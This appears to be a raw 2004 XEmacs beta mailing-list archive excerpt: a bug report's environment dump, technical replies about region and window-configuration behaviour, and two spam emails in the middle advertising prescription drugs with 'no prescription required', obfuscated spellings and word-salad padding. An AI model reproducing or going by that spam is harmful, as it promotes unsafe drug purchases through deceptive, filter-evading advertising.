/home/ed/inst/gnus-5.10.6/lisp/mm-uu /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/mm-uu /home/ed/inst/gnus-5.10.6/lisp/mm-view /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/mm-view /home/ed/inst/gnus-5.10.6/lisp/mml-sec /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/mml-sec /home/ed/inst/gnus-5.10.6/lisp/mml-smime /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/mml-smime /home/ed/inst/gnus-5.10.6/lisp/mml1991 /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/mml1991 /home/ed/inst/gnus-5.10.6/lisp/mml2015 /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/mml2015 /home/ed/inst/gnus-5.10.6/lisp/nnagent /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/nnagent /home/ed/inst/gnus-5.10.6/lisp/nnbabyl /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/nnbabyl /home/ed/inst/gnus-5.10.6/lisp/nndb /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/nndb /home/ed/inst/gnus-5.10.6/lisp/nndiary /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/nndiary /home/ed/inst/gnus-5.10.6/lisp/nndir /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/nndir /home/ed/inst/gnus-5.10.6/lisp/nndoc /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/nndoc /home/ed/inst/gnus-5.10.6/lisp/nndraft /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/nndraft /home/ed/inst/gnus-5.10.6/lisp/nneething /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/nneething /home/ed/inst/gnus-5.10.6/lisp/nnfolder /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/nnfolder /home/ed/inst/gnus-5.10.6/lisp/nngateway /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/nngateway /home/ed/inst/gnus-5.10.6/lisp/nnheader /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/nnheader /home/ed/inst/gnus-5.10.6/lisp/nnheaderxm /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/nnheaderxm /home/ed/inst/gnus-5.10.6/lisp/nnimap /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/nnimap /home/ed/inst/gnus-5.10.6/lisp/nnkiboze /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/nnkiboze /home/ed/inst/gnus-5.10.6/lisp/nnlistserv /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/nnlistserv /home/ed/inst/gnus-5.10.6/lisp/nnmail /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/nnmail /home/ed/inst/gnus-5.10.6/lisp/nnmaildir /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/nnmaildir /home/ed/inst/gnus-5.10.6/lisp/nnmbox /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/nnmbox /home/ed/inst/gnus-5.10.6/lisp/nnmh /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/nnmh /home/ed/inst/gnus-5.10.6/lisp/nnml /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/nnml /home/ed/inst/gnus-5.10.6/lisp/nnnil /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/nnnil /home/ed/inst/gnus-5.10.6/lisp/nnoo /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/nnoo /home/ed/inst/gnus-5.10.6/lisp/nnrss /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/nnrss /home/ed/inst/gnus-5.10.6/lisp/nnslashdot /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/nnslashdot /home/ed/inst/gnus-5.10.6/lisp/nnsoup /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/nnsoup /home/ed/inst/gnus-5.10.6/lisp/nnspool /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/nnspool /home/ed/inst/gnus-5.10.6/lisp/nntp /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/nntp /home/ed/inst/gnus-5.10.6/lisp/nnultimate /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/nnultimate /home/ed/inst/gnus-5.10.6/lisp/nnvirtual /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/nnvirtual /home/ed/inst/gnus-5.10.6/lisp/nnwarchive /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/nnwarchive /home/ed/inst/gnus-5.10.6/lisp/nnweb /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/nnweb /home/ed/inst/gnus-5.10.6/lisp/nnwfm /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/nnwfm /home/ed/inst/gnus-5.10.6/lisp/parse-time /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/parse-time /home/ed/inst/gnus-5.10.6/lisp/rfc1843 /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/rfc1843 /home/ed/inst/gnus-5.10.6/lisp/rfc2045 /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/rfc2045 /home/ed/inst/gnus-5.10.6/lisp/rfc2047 /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/rfc2047 /home/ed/inst/gnus-5.10.6/lisp/mml /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/mml /home/ed/inst/gnus-5.10.6/lisp/rfc2231 /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/rfc2231 /home/ed/inst/gnus-5.10.6/lisp/score-mode /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/score-mode /home/ed/inst/gnus-5.10.6/lisp/smiley /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/smiley /home/ed/inst/gnus-5.10.6/lisp/smime /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/smime /home/ed/inst/gnus-5.10.6/lisp/spam-report /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/spam-report /home/ed/inst/gnus-5.10.6/lisp/spam-stat /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/spam-stat /home/ed/inst/gnus-5.10.6/lisp/spam /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/spam /home/ed/inst/gnus-5.10.6/lisp/time-date /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/time-date /home/ed/inst/gnus-5.10.6/lisp/utf7 /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/utf7 /home/ed/inst/gnus-5.10.6/lisp/uudecode /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/uudecode /home/ed/inst/gnus-5.10.6/lisp/webmail /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/webmail /home/ed/inst/gnus-5.10.6/lisp/yenc /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/yenc /home/ed/inst/gnus-5.10.6/lisp/qp /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/qp /home/ed/inst/gnus-5.10.6/lisp/rfc2104 /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/mail-lib/rfc2104 /home/ed/inst/gnus-5.10.6/lisp/pop3 /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/mail-lib/pop3 /home/ed/inst/gnus-5.10.6/lisp/starttls /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/mail-lib/starttls /home/ed/inst/gnus-5.10.6/lisp/netrc /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/mail-lib/netrc /home/ed/inst/gnus-5.10.6/lisp/tls /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/mail-lib/tls /home/ed/inst/gnus-5.10.6/lisp/dig /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/net-utils/dig /home/ed/inst/gnus-5.10.6/lisp/dns /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/net-utils/dns /home/ed/inst/gnus-5.10.6/lisp/pgg /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/pgg/pgg /home/ed/inst/gnus-5.10.6/lisp/pgg-def /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/pgg/pgg-def /home/ed/inst/gnus-5.10.6/lisp/pgg-parse /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/pgg/pgg-parse /home/ed/inst/gnus-5.10.6/lisp/pgg-gpg /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/pgg/pgg-gpg /home/ed/inst/gnus-5.10.6/lisp/pgg-pgp /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/pgg/pgg-pgp /home/ed/inst/gnus-5.10.6/lisp/pgg-pgp5 /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/pgg/pgg-pgp5 /home/ed/inst/gnus-5.10.6/lisp/sieve /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/sieve/sieve /home/ed/inst/gnus-5.10.6/lisp/sieve-mode /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/sieve/sieve-mode /home/ed/inst/gnus-5.10.6/lisp/sieve-manage /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/sieve/sieve-manage) Installed XEmacs Packages: ------------------------- (zenirc ver: 1.15 upstream: 2.112) (xslt-process ver: 1.11 upstream: regular) (xslide ver: 1.09 upstream: 0.2.2) (xemacs-devel ver: 1.61 upstream: No-Upstream-Ver) (xemacs-base ver: 1.84 upstream: No-Upstream-Ver) (x-symbol ver: 1.09 upstream: 4.5.1) (viper ver: 1.37 upstream: 3.09) (view-process ver: 1.13 upstream: 2.4) (vhdl ver: 1.18 upstream: 3.31.20) (vc-cc ver: 1.22 upstream: No-Upstream-Ver) (vc ver: 1.38 upstream: No-Upstream-Ver) (tramp ver: 1.17 upstream: 2.0.35) (tpu ver: 1.14 upstream: 4.2X) (tooltalk ver: 1.15 upstream: No-Upstream-Ver) (tm ver: 1.37 upstream: No-Upstream-Ver) (time ver: 1.14 upstream: 1.17) (textools ver: 1.15 upstream: No-Upstream-Ver) (text-modes ver: 1.73 upstream: No-Upstream-Ver) (texinfo ver: 1.25 upstream: No-Upstream-Ver) (supercite ver: 1.2 upstream: 3.55x3) (strokes ver: 1.1 upstream: No-Upstream-Ver) (speedbar ver: 1.27 upstream: 0.14beta4) (sounds-wav ver: 1.12 upstream: No-Upstream-Ver) (sounds-au ver: 1.12 upstream: No-Upstream-Ver) (sml-mode ver: 0.11 upstream: 3.9.5) (slider ver: 1.15 upstream: 0.3x1) (sieve ver: 1.15 upstream: No-Upstream-Ver) (sh-script ver: 1.18 upstream: 2.0e) (sgml ver: 1.11 upstream: No-Upstream-Ver) (semantic ver: 1.18 upstream: 1.4.2) (scheme ver: 1.14 upstream: No-Upstream-Ver) (sasl ver: 1.14 upstream: 1.14.4) (ruby-modes ver: 1.02 upstream: 1.6.8) (rmail ver: 1.14 upstream: No-Upstream-Ver) (riece ver: 1.14 upstream: 0.1.7) (reftex ver: 1.33 upstream: 4.21) (python-modes ver: 1.03 upstream: No-Upstream-Ver) (psgml-dtds ver: 1.03 upstream: No-Upstream-Ver) (psgml ver: 1.42 upstream: 1.3.1) (ps-print ver: 1.09 upstream: 6.5.6) (prog-modes ver: 1.94 upstream: No-Upstream-Ver) (pgg ver: 1.04 upstream: 0.1) (perl-modes ver: 1.05 upstream: No-Upstream-Ver) (pcomplete ver: 1.03 upstream: 1.1.6) (pcl-cvs ver: 1.65 upstream: R-2_9_9) (pc ver: 1.26 upstream: No-Upstream-Ver) (os-utils ver: 1.35 upstream: No-Upstream-Ver) (ocaml ver: 0.05 upstream: 3.06) (net-utils ver: 1.38 upstream: N/A) (mmm-mode ver: 1.01 upstream: 0.4.7) (misc-games ver: 1.18 upstream: No-Upstream-Ver) (mine ver: 1.16 upstream: 1.9) (mew ver: 1.18 upstream: 1.94.2) (mailcrypt ver: 2.14 upstream: 3.5.8) (mail-lib ver: 1.64 upstream: No-Upstream-Ver) (liece ver: 1.13 upstream: 1.4.9) (ispell ver: 1.29 upstream: 3.6) (igrep ver: 1.12 upstream: 2.95) (idlwave ver: 1.31 upstream: 5.1) (ibuffer ver: 1.09 upstream: No-Upstream-Ver) (hm--html-menus ver: 1.23 upstream: 5.9) (haskell-mode ver: 1.06 upstream: 1.44) (gnus ver: 1.79 upstream: 5.10.6) (gnats ver: 1.16 upstream: 3.101) (games ver: 1.15 upstream: 1.04) (fsf-compat ver: 1.14 upstream: No-Upstream-Ver) (frame-icon ver: 1.11 upstream: No-Upstream-Ver) (fortran-modes ver: 1.03 upstream: No-Upstream-Ver) (forms ver: 1.15 upstream: 2.37) (footnote ver: 1.16 upstream: 0.18x) (eudc ver: 1.39 upstream: 1.32) (eterm ver: 1.15 upstream: No-Upstream-Ver) (ess ver: 1.07 upstream: 5.1.21) (eshell ver: 1.06 upstream: 2.4.1) (erc ver: 0.05 upstream: Version 4.0 Revision: 1.608) (emerge ver: 1.11 upstream: No-Upstream-Ver) (elib ver: 1.11 upstream: 1.0) (eieio ver: 1.05 upstream: 0.17) (efs ver: 1.32 upstream: 1.22) (edt ver: 1.13 upstream: No-Upstream-Ver) (edit-utils ver: 2.11 upstream: No-Upstream-Ver) (ediff ver: 1.49 upstream: 2.75) (edebug ver: 1.2 upstream: No-Upstream-Ver) (ecrypto ver: 0.16 upstream: 2.0) (ecb ver: 1.14 upstream: 2.11) (docbookide ver: 0.07000000000000001 upstream: 0.1) (dired ver: 1.15 upstream: 7.11) (dictionary ver: 1.12 upstream: regular) (debug ver: 1.17 upstream: No-Upstream-Ver) (crisp ver: 1.14 upstream: 1.34) (cookie ver: 1.15 upstream: No-Upstream-Ver) (clearcase ver: 1.08 upstream: No-Upstream-Ver) (cc-mode ver: 1.42 upstream: 5.30.8) (calendar ver: 1.23 upstream: No-Upstream-Ver) (c-support ver: 1.19 upstream: No-Upstream-Ver) (build ver: 1.14 upstream: 2.02) (bbdb ver: 1.24 upstream: 2.34) (auctex ver: 1.36 upstream: 11.13) (apel ver: 1.27 upstream: 10.2) (ada ver: 1.14 upstream: 2.27) Installed Modules: ----------------- Features: -------- (mail-abbrevs xemacsbug shadow sendmail rfc822 efs-cu view-less view hyper-apropos font-lock info gnus-load desktop cus-edit cus-load wid-edit gnuserv vc-hooks mwheel time cperl-mode cus-face zenirc-autoloads xslt-process-autoloads xslide-autoloads xemacs-devel-autoloads xemacs-base-autoloads x-symbol-autoloads viper-autoloads view-process-autoloads vhdl-autoloads vc-cc-autoloads vc-autoloads tramp-autoloads tpu-autoloads tooltalk-autoloads tm-autoloads time-autoloads textools-autoloads text-modes-autoloads texinfo-autoloads supercite-autoloads strokes-autoloads speedbar-autoloads sounds-wav-autoloads sounds-au-autoloads sml-mode-autoloads slider-autoloads sieve-autoloads sh-script-autoloads sgml-autoloads semantic-autoloads scheme-autoloads sasl-autoloads ruby-modes-autoloads rmail-autoloads riece-autoloads reftex-autoloads python-modes-autoloads psgml-dtds-autoloads psgml-autoloads ps-print-autoloads prog-modes-autoloads pgg-autoloads perl-modes-autoloads pcomplete-autoloads pcl-cvs-autoloads pc-autoloads os-utils-autoloads ocaml-autoloads net-utils-autoloads mmm-mode-autoloads misc-games-autoloads mine-autoloads mew-autoloads mailcrypt-autoloads mail-lib-autoloads liece-autoloads ispell-autoloads igrep-autoloads idlwave-autoloads ibuffer-autoloads hm--html-menus-autoloads haskell-mode-autoloads gnus-autoloads gnats-autoloads games-autoloads fsf-compat-autoloads frame-icon-autoloads fortran-modes-autoloads forms-autoloads footnote-autoloads eudc-autoloads eterm-autoloads ess-autoloads eshell-autoloads erc-autoloads emerge-autoloads elib-autoloads eieio-autoloads efs-autoloads edt-autoloads edit-utils-autoloads ediff-autoloads edebug-autoloads ecrypto-autoloads ecb-autoloads docbookide-autoloads dired-autoloads dictionary-autoloads debug-autoloads crisp-autoloads cookie-autoloads clearcase-autoloads cc-mode-autoloads calendar-autoloads c-support-autoloads build-autoloads bbdb-autoloads auctex-autoloads apel-autoloads ada-autoloads modules-autoloads auto-autoloads loadhist rsz-minibuf auto-show fontl-hooks x-iso8859-1 code-cmds gutter-items menubar-items x-menubar mode-motion mouse behavior itimer auto-save lisp-mode easymenu iso8859-1 page buff-menu lib-complete cus-file derived newcomment env text-props frame obsolete cus-start custom widget cl-extra mini-cl cl cl-19 packages backquote unicode lucid-scrollbars cut-buffer lucid-menubars x c-balloon-help tty-frames tty toolbar native-sound scrollbar unix-processes multicast network-streams subprocesses modules menu-accelerator-support menubar md5 xemacs gutter tiff png gif jpeg xbm lisp-float-type file-coding linux devices window-system base64) Recent keystrokes: ----------------- B ESC O B ESC O B ESC O B ESC O B ESC O B ESC O B ESC O B ESC O B ESC O B ESC O B ESC O B ESC O B ESC O B ESC O B ESC O B ESC O B ESC O B ESC O B ESC O B ESC O B ESC O B C-@ ESC O B ESC O B ESC O B ESC w ESC x r e p o r - DEL t - x e m a c - DEL s - b u g RET Recent messages (most recent first): ----------------------------------- Loading xemacsbug...done Loading xemacsbug... Selecting menu item Active Regions...done Selecting menu item Active Regions... Selecting menu item XEmacs...done Selecting menu item XEmacs... Composing main Info directory...done Rebuilding temporary /home/ed/inst/gnus-5.10.6/texi/dir...done Rebuilding temporary /home/ed/inst/gnus-5.10.6/texi/dir... Rebuilding temporary /home/ed/lib/xemacs-21.5-b16/info/dir...done Rebuilding temporary /home/ed/lib/xemacs-21.5-b16/info/dir... Creating temporary dir in /home/ed/lib/xemacs-21.5-b16/xemacs-packages/info/...done Loading efs-cu...done Loading efs-cu... Creating temporary dir in /home/ed/lib/xemacs-21.5-b16/xemacs-packages/info/... Composing main Info directory... Quit Quit Loading view-less...done Loading view-less... From xemacs-beta-admin@xemacs.org Sat Apr 3 12:47:17 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i33Hl5s02915; Sat, 3 Apr 2004 12:47:05 -0500 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i33Hk2O02754 for xemacs-beta-mailman@xemacs.org; Sat, 3 Apr 2004 12:46:02 -0500 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i33Hk2Q02745 for turnbull@tux.org; Sat, 3 Apr 2004 12:46:02 -0500 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i33Hk1s02738 for ; Sat, 3 Apr 2004 12:46:01 -0500 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i33Hjti02708 for xemacs-crashes-mailman@xemacs.org; Sat, 3 Apr 2004 12:45:55 -0500 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i33Hjtr02699 for turnbull@tux.org; Sat, 3 Apr 2004 12:45:55 -0500 Received: from syl.extundo.com (syl.extundo.com [212.32.189.101]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i33Hjss02695 for ; Sat, 3 Apr 2004 12:45:54 -0500 Received: from UNILOGCHATSDEV (Beta-58430@[195.167.239.58]) by syl.extundo.com (8.12.10/8.12.10) with SMTP id i33IBU63007130 for ; Sat, 3 Apr 2004 20:11:34 +0200 Received: from 192.61.96.93 by 195.167.239.58; Sat, 03 Apr 2004 18:40:51 +0100 Message-ID: From: "Hal Biggs" Reply-To: "Hal Biggs" To: crashes@xemacs.org Subject: come back Date: Sat, 03 Apr 2004 16:44:51 -0100 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="--52638101308202767" X-IP: 143.24.164.212 Old-X-XEmacs-List: crashes X-BeenThere: xemacs-crashes@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=1.8 required=5.0 tests=DCC_CHECK autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , ----52638101308202767 Content-Type: text/plain; Content-Transfer-Encoding: quoted-printable No prescription required! Simple as order=EDng anything No Consultation Fee! We have all C=EDal=EDs Meridia V=EDagra Propecia Celebrex Soma Zyban Prozac Vioxx hgh Pen=EDs Enlargement and Much more Best Prlce on Internet F.a.s.t And F.r.e.e Shlpplng http://whallier.com/index.php?ai=3D7411 ----52638101308202767-- From uwsfnqx@brasilia.net Sat Apr 3 15:35:31 2004 Received: from user-0c93a85.cable.mindspring.com (user-0c93a85.cable.mindspring.com [24.145.169.5]) by gwyn.tux.org (8.11.6p2/8.9.1) with SMTP id i33KZPs14695; Sat, 3 Apr 2004 15:35:30 -0500 Message-Id: <200404032035.i33KZPs14695@gwyn.tux.org> Received: from [48.161.116.20] by 24.145.169.5 via HTTP; Sat, 03 Apr 2004 16:28:02 -0400 Date: Sat, 03 Apr 2004 22:35:02 +0200 From: "Dana Wooten" Subject: Save 40%-90% on Hundreds of Prescription Drugs. Discreetly Shipped Overnight. To: xemacs-approval@xemacs.org MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="0-1432374998-1673955318=:30232" --0-1432374998-1673955318=:30232 Content-Type: text/html; Content-Transfer-Encoding: 7Bit

Hello,

improving the quality of people's lives is what Prescription Medications are designed to do and CheapestMeds believes that you deserve access to these medications. By having doctors available to review your needs, CheapestMeds is ready to help you get the treatment you need.

Make it easy for you to order meds. Click here.

Rearn egalitarian frederic schizoid peephole deferent impelling prussia gottfried gruesome cladophora conduce collapse chordata ? Sbereft capo homecoming plagiarism compton draftsmen lee backyard volume coast down cacophony council amadeus xerography incompressible . Thandicraftsmen inaccuracy ember philip hereabout abort spoilage rectify creaky allegra numerable rhombohedral debar horoscope ask surjection abeyance pathogen moron able ailanthus syllabify chic holden handicap colloquy fitful perceptible decipher colorado borate regressive cast aides defecate cortland creaky baggy yuck credit crag dissemble daydream wah .Cgina riddance surmise camden rube dote dispel anthracite tatty . Gtong cornfield embarrass anchovy stewart diathesis brillouin rudimentary catnip hate desegregate monday adventurous chafe ! Rbufflehead skied made creosote diatribe cochran roughshod beauteous width murphy mn breakage coat debugging ho articulate epiphysis leaky fluorocarbon armenia campsite botany dip putnam alumni abacus impermeable plenipotentiary petition coyote ditch williams centerline grumble schwartz lope muslin plenitude bygone adverb crease automorphic blather layette polyploidy involuntary twosome arcturus baseman eradicable rimy indulge bedside downriver costume qualify .Gradioastronomy rectifier ticklish incubi necropsy : Oaudible allemand stamp mentor process hayes athens . Gstubby convulse deceit confucius disputant blake nebulous alpenstock inimitable seater brass talmud tress cannister cryptanalysis cowl Wdignify bituminous runge artillery centigrade koenig circulant writhe crusade doric coltish hundredth alumnus bradshaw !!! Lcalcareous horse bygone enamel brae bloodstream derogatory alvin bluebook flake torch instillation frostbite abner puzzle glassy pod commodity hostess ? Ycove hexagon curfew elliott andorra scarves birdseed bullseye eliminate danube aile jimmie advantageous aarhus tumble imperceivable compilation divert polynomial candlelit than eager fasc iculate scarf lamplight circumference conferring achieve bead

If this notice has reached you in error, please notify us by clicking here --0-1432374998-1673955318=:30232-- From xemacs-beta-admin@xemacs.org Sat Apr 3 18:35:04 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i33NZ2s25398; Sat, 3 Apr 2004 18:35:02 -0500 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i33NYGa25265 for xemacs-beta-mailman@xemacs.org; Sat, 3 Apr 2004 18:34:16 -0500 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i33NYF125250 for turnbull@tux.org; Sat, 3 Apr 2004 18:34:15 -0500 Received: from mxout2.iskon.hr (mxout2.iskon.hr [213.191.128.16]) by gwyn.tux.org (8.11.6p2/8.9.1) with SMTP id i33NYEs25235 for ; Sat, 3 Apr 2004 18:34:14 -0500 Received: (qmail 21223 invoked from network); 4 Apr 2004 01:34:13 +0200 X-Remote-IP: 213.191.128.12 Received: from mx.iskon.hr (qmailr@213.191.128.12) by mxout2.iskon.hr with SMTP; 4 Apr 2004 01:34:13 +0200 Received: (qmail 4734 invoked from network); 4 Apr 2004 01:34:12 +0200 X-Remote-IP: 213.191.139.219 Received: from hniksic.iskon.hr (213.191.139.219) by mx.iskon.hr with SMTP; 4 Apr 2004 01:34:12 +0200 To: Ed Avis Cc: XEmacs Beta Subject: Re: [Bug: 21.5-b16] M-x goto-line deactivates region References: From: Hrvoje Niksic Date: Sun, 04 Apr 2004 01:35:06 +0200 In-Reply-To: (Ed Avis's message of "Sat, 03 Apr 2004 15:19:22 +0100") Message-ID: User-Agent: Gnus/5.1002 (Gnus v5.10.2) XEmacs/21.4 (Rational FORTRAN, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , I agree that M-x goto-line shouldn't deactivate the region. From xemacs-beta-admin@xemacs.org Sun Apr 4 05:26:12 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i349Q2s23586; Sun, 4 Apr 2004 05:26:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i349PYA23499 for xemacs-beta-mailman@xemacs.org; Sun, 4 Apr 2004 05:25:34 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i349PXP23490 for turnbull@tux.org; Sun, 4 Apr 2004 05:25:33 -0400 Received: from mx4.informatik.uni-tuebingen.de (mx4.Informatik.Uni-Tuebingen.De [134.2.12.29]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i349PVs23485 for ; Sun, 4 Apr 2004 05:25:32 -0400 Received: from localhost (loopback [127.0.0.1]) by mx4.informatik.uni-tuebingen.de (Postfix) with ESMTP id D56D513B1; Sun, 4 Apr 2004 11:25:30 +0200 (MST) Received: from mx4.informatik.uni-tuebingen.de ([127.0.0.1]) by localhost (mx4 [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 43822-05; Sun, 4 Apr 2004 11:25:30 +0200 (DFT) Received: from sams.informatik.uni-tuebingen.de (sams.Informatik.Uni-Tuebingen.De [134.2.12.50]) by mx4.informatik.uni-tuebingen.de (Postfix) with ESMTP id 4CDD313A4; Sun, 4 Apr 2004 11:25:30 +0200 (MST) Received: from sams.informatik.uni-tuebingen.de (localhost [127.0.0.1]) by sams.informatik.uni-tuebingen.de (8.12.3/8.12.3) with ESMTP id i349PUET010605; Sun, 4 Apr 2004 11:25:30 +0200 (CEST) (envelope-from sperber@sams.informatik.uni-tuebingen.de) Received: (from sperber@localhost) by sams.informatik.uni-tuebingen.de (8.12.3/8.12.3/Submit) id i349PTX0010604; Sun, 4 Apr 2004 11:25:29 +0200 (CEST) To: Yoshiaki Kasahara Cc: xemacs-beta@xemacs.org Subject: Re: [21.5-b17] current/set-window-configuration incompatibility References: <20040402.112154.846971284.kasahara@nc.kyushu-u.ac.jp> From: Michael Sperber Date: Sun, 04 Apr 2004 11:25:29 +0200 In-Reply-To: <20040402.112154.846971284.kasahara@nc.kyushu-u.ac.jp> (Yoshiaki Kasahara's message of "Fri, 02 Apr 2004 11:21:54 +0900 (JST)") Message-ID: User-Agent: Gnus/5.110001 (No Gnus v0.1) XEmacs/21.5 (celeriac, berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "Yoshiaki" == Yoshiaki Kasahara writes: Yoshiaki> I noticed that current/set-window-configuration behaviour of current Yoshiaki> 21.5-beta is not compatible with FSF Emacs nor older 21.5-beta (I Yoshiaki> checked b5). I didn't test 21.4. I don't know about "compatible"---the implementation certainly is new, and doesn't fulfill all the invariants of the old one. Yoshiaki> It seems that current 21.5-beta remembers the cursor position (point) Yoshiaki> of the current buffer with the configuration and restores it by Yoshiaki> set-window-configuration. The cursor is moved to an unexpected point Yoshiaki> and sometimes it causes a problem with some software. Can you provide a recipe for reproducing the problem? -- 